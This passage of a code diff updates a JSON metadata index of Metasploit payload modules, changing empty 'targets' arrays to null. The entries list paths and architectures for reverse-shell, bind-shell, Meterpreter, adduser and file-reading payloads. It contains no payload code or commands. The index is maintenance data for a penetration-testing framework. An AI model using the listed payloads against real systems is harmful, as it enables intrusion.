"is_install_path": true, @@ -86671,9 +84449,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb", "is_install_path": true, @@ -86698,9 +84474,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb", "is_install_path": true, @@ -86724,9 +84498,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb", "is_install_path": true, @@ -86751,9 +84523,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb", "is_install_path": true, @@ -86778,9 +84548,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb", "is_install_path": true, @@ -86804,9 +84572,7 @@ "platform": "Windows", "arch": "cmd", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb", "is_install_path": true, @@ -86830,9 +84596,7 @@ "platform": "Firefox", "arch": "firefox", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/payloads/singles/firefox/exec.rb", "is_install_path": true, @@ -86856,9 +84620,7 @@ "platform": "Firefox", "arch": "firefox", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/firefox/shell_bind_tcp.rb", "is_install_path": true, @@ -86882,9 +84644,7 @@ "platform": "Firefox", "arch": "firefox", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/firefox/shell_reverse_tcp.rb", "is_install_path": true, @@ -86908,9 +84668,7 @@ "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/generic/custom.rb", "is_install_path": true, @@ -86934,9 +84692,7 @@ "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/generic/debug_trap.rb", "is_install_path": true, @@ -86960,9 +84716,7 @@ "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/generic/shell_bind_tcp.rb", "is_install_path": true, @@ -86986,9 +84740,7 @@ "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/generic/shell_reverse_tcp.rb", "is_install_path": true, @@ -87012,9 +84764,7 @@ "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/generic/tight_loop.rb", "is_install_path": true, @@ -87038,9 +84788,7 @@ "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/java/jsp_shell_bind_tcp.rb", "is_install_path": true, @@ -87064,9 +84812,7 @@ "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb", "is_install_path": true, @@ -87092,9 +84838,7 @@ "platform": "Java", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/java/bind_tcp.rb", "is_install_path": true, @@ -87121,9 +84865,7 @@ "platform": "Java", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/java/reverse_http.rb", "is_install_path": true, @@ -87150,9 +84892,7 @@ "platform": "Java", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/java/reverse_https.rb", "is_install_path": true, @@ -87178,9 +84918,7 @@ "platform": "Java", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/java/reverse_tcp.rb", "is_install_path": true, @@ -87205,9 +84943,7 @@ "platform": "Java", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/java/bind_tcp.rb", "is_install_path": true, @@ -87232,9 +84968,7 @@ "platform": "Java", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/java/reverse_tcp.rb", "is_install_path": true, @@ -87259,9 +84993,7 @@ "platform": "Java", "arch": "java", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/java/shell_reverse_tcp.rb", "is_install_path": true, @@ -87285,9 +85017,7 @@ "platform": "Linux", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-29 10:09:38 +0000", "path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb", "is_install_path": true, @@ -87313,9 +85043,7 @@ "platform": "Linux", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb", "is_install_path": true, @@ -87341,9 +85069,7 @@ "platform": "Linux", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb", "is_install_path": true, @@ -87369,9 +85095,7 @@ "platform": "Linux", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -87395,9 +85119,7 @@ "platform": "Linux", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-29 10:09:38 +0000", "path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb", "is_install_path": true, @@ -87421,9 +85143,7 @@ "platform": "Linux", "arch": "aarch64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-21 14:42:30 +0000", "path": "/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb", "is_install_path": true, @@ -87449,9 +85169,7 @@ "platform": "Linux", "arch": "armbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb", "is_install_path": true, @@ -87477,9 +85195,7 @@ "platform": "Linux", "arch": "armbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb", "is_install_path": true, @@ -87505,9 +85221,7 @@ "platform": "Linux", "arch": "armbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -87531,9 +85245,7 @@ "platform": "Linux", "arch": "armbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb", "is_install_path": true, @@ -87557,9 +85269,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/armle/adduser.rb", "is_install_path": true, @@ -87583,9 +85293,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/armle/exec.rb", "is_install_path": true, @@ -87610,9 +85318,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb", "is_install_path": true, @@ -87638,9 +85344,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb", "is_install_path": true, @@ -87666,9 +85370,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb", "is_install_path": true, @@ -87694,9 +85396,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb", "is_install_path": true, @@ -87722,9 +85422,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -87748,9 +85446,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb", "is_install_path": true, @@ -87775,9 +85471,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb", "is_install_path": true, @@ -87802,9 +85496,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-21 12:25:27 +0000", "path": "/modules/payloads/singles/linux/armle/shell_bind_tcp.rb", "is_install_path": true, @@ -87828,9 +85520,7 @@ "platform": "Linux", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-21 12:25:27 +0000", "path": "/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb", "is_install_path": true, @@ -87856,9 +85546,7 @@ "platform": "Linux", "arch": "mips64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb", "is_install_path": true, @@ -87884,9 +85572,7 @@ "platform": "Linux", "arch": "mips64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb", "is_install_path": true, @@ -87912,9 +85598,7 @@ "platform": "Linux", "arch": "mips64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -87939,9 +85623,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/mipsbe/exec.rb", "is_install_path": true, @@ -87967,9 +85649,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb", "is_install_path": true, @@ -87995,9 +85675,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb", "is_install_path": true, @@ -88023,9 +85701,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb", "is_install_path": true, @@ -88051,9 +85727,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -88078,9 +85752,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/mipsbe/reboot.rb", "is_install_path": true, @@ -88105,9 +85777,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb", "is_install_path": true, @@ -88134,9 +85804,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb", "is_install_path": true, @@ -88161,9 +85829,7 @@ "platform": "Linux", "arch": "mipsbe", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb", "is_install_path": true, @@ -88188,9 +85854,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/mipsle/exec.rb", "is_install_path": true, @@ -88216,9 +85880,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb", "is_install_path": true, @@ -88244,9 +85906,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb", "is_install_path": true, @@ -88272,9 +85932,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb", "is_install_path": true, @@ -88300,9 +85958,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -88327,9 +85983,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/mipsle/reboot.rb", "is_install_path": true, @@ -88354,9 +86008,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb", "is_install_path": true, @@ -88383,9 +86035,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb", "is_install_path": true, @@ -88410,9 +86060,7 @@ "platform": "Linux", "arch": "mipsle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb", "is_install_path": true, @@ -88438,9 +86086,7 @@ "platform": "Linux", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb", "is_install_path": true, @@ -88466,9 +86112,7 @@ "platform": "Linux", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb", "is_install_path": true, @@ -88494,9 +86138,7 @@ "platform": "Linux", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -88520,9 +86162,7 @@ "platform": "Linux", "arch": "ppc, cbea", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb", "is_install_path": true, @@ -88546,9 +86186,7 @@ "platform": "Linux", "arch": "ppc, cbea", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_find_port.rb", "is_install_path": true, @@ -88572,9 +86210,7 @@ "platform": "Linux", "arch": "ppc, cbea", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb", "is_install_path": true, @@ -88598,9 +86234,7 @@ "platform": "Linux", "arch": "ppc64, cbea64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb", "is_install_path": true, @@ -88624,9 +86258,7 @@ "platform": "Linux", "arch": "ppc64, cbea64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_find_port.rb", "is_install_path": true, @@ -88650,9 +86282,7 @@ "platform": "Linux", "arch": "ppc64, cbea64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb", "is_install_path": true, @@ -88678,9 +86308,7 @@ "platform": "Linux", "arch": "ppc64le", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb", "is_install_path": true, @@ -88706,9 +86334,7 @@ "platform": "Linux", "arch": "ppc64le", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb", "is_install_path": true, @@ -88734,9 +86360,7 @@ "platform": "Linux", "arch": "ppc64le", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -88762,9 +86386,7 @@ "platform": "Linux", "arch": "ppce500v2", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb", "is_install_path": true, @@ -88790,9 +86412,7 @@ "platform": "Linux", "arch": "ppce500v2", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb", "is_install_path": true, @@ -88818,9 +86438,7 @@ "platform": "Linux", "arch": "ppce500v2", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -88844,9 +86462,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x64/exec.rb", "is_install_path": true, @@ -88871,9 +86487,7 @@ "platform": "Linux,Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb", "is_install_path": true, @@ -88899,9 +86513,7 @@ "platform": "Linux,Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-05 16:30:19 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, @@ -88927,9 +86539,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb", "is_install_path": true, @@ -88955,9 +86565,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb", "is_install_path": true, @@ -88983,9 +86591,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -89009,9 +86615,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb", "is_install_path": true, @@ -89036,9 +86640,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-05 16:30:19 +0000", "path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb", "is_install_path": true, @@ -89062,9 +86664,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_tcp.rb", "is_install_path": true, @@ -89088,9 +86688,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb", "is_install_path": true, @@ -89114,9 +86712,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x64/shell_find_port.rb", "is_install_path": true, @@ -89140,9 +86736,7 @@ "platform": "Linux", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb", "is_install_path": true, @@ -89168,9 +86762,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/adduser.rb", "is_install_path": true, @@ -89194,9 +86786,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/chmod.rb", "is_install_path": true, @@ -89220,9 +86810,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/exec.rb", "is_install_path": true, @@ -89248,9 +86836,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb", "is_install_path": true, @@ -89277,9 +86863,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -89304,9 +86888,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb", "is_install_path": true, @@ -89332,9 +86914,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp.rb", "is_install_path": true, @@ -89361,9 +86941,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb", "is_install_path": true, @@ -89388,9 +86966,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/find_tag.rb", "is_install_path": true, @@ -89415,9 +86991,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -89442,9 +87016,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb", "is_install_path": true, @@ -89471,9 +87043,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-15 08:02:51 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp.rb", "is_install_path": true, @@ -89500,9 +87070,7 @@ "platform": "Linux,Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-15 08:02:51 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb", "is_install_path": true, @@ -89528,9 +87096,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb", "is_install_path": true, @@ -89556,9 +87122,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb", "is_install_path": true, @@ -89584,9 +87148,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -89610,9 +87172,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb", "is_install_path": true, @@ -89636,9 +87196,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb", "is_install_path": true, @@ -89662,9 +87220,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/read_file.rb", "is_install_path": true, @@ -89690,9 +87246,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb", "is_install_path": true, @@ -89719,9 +87273,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -89745,9 +87297,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": 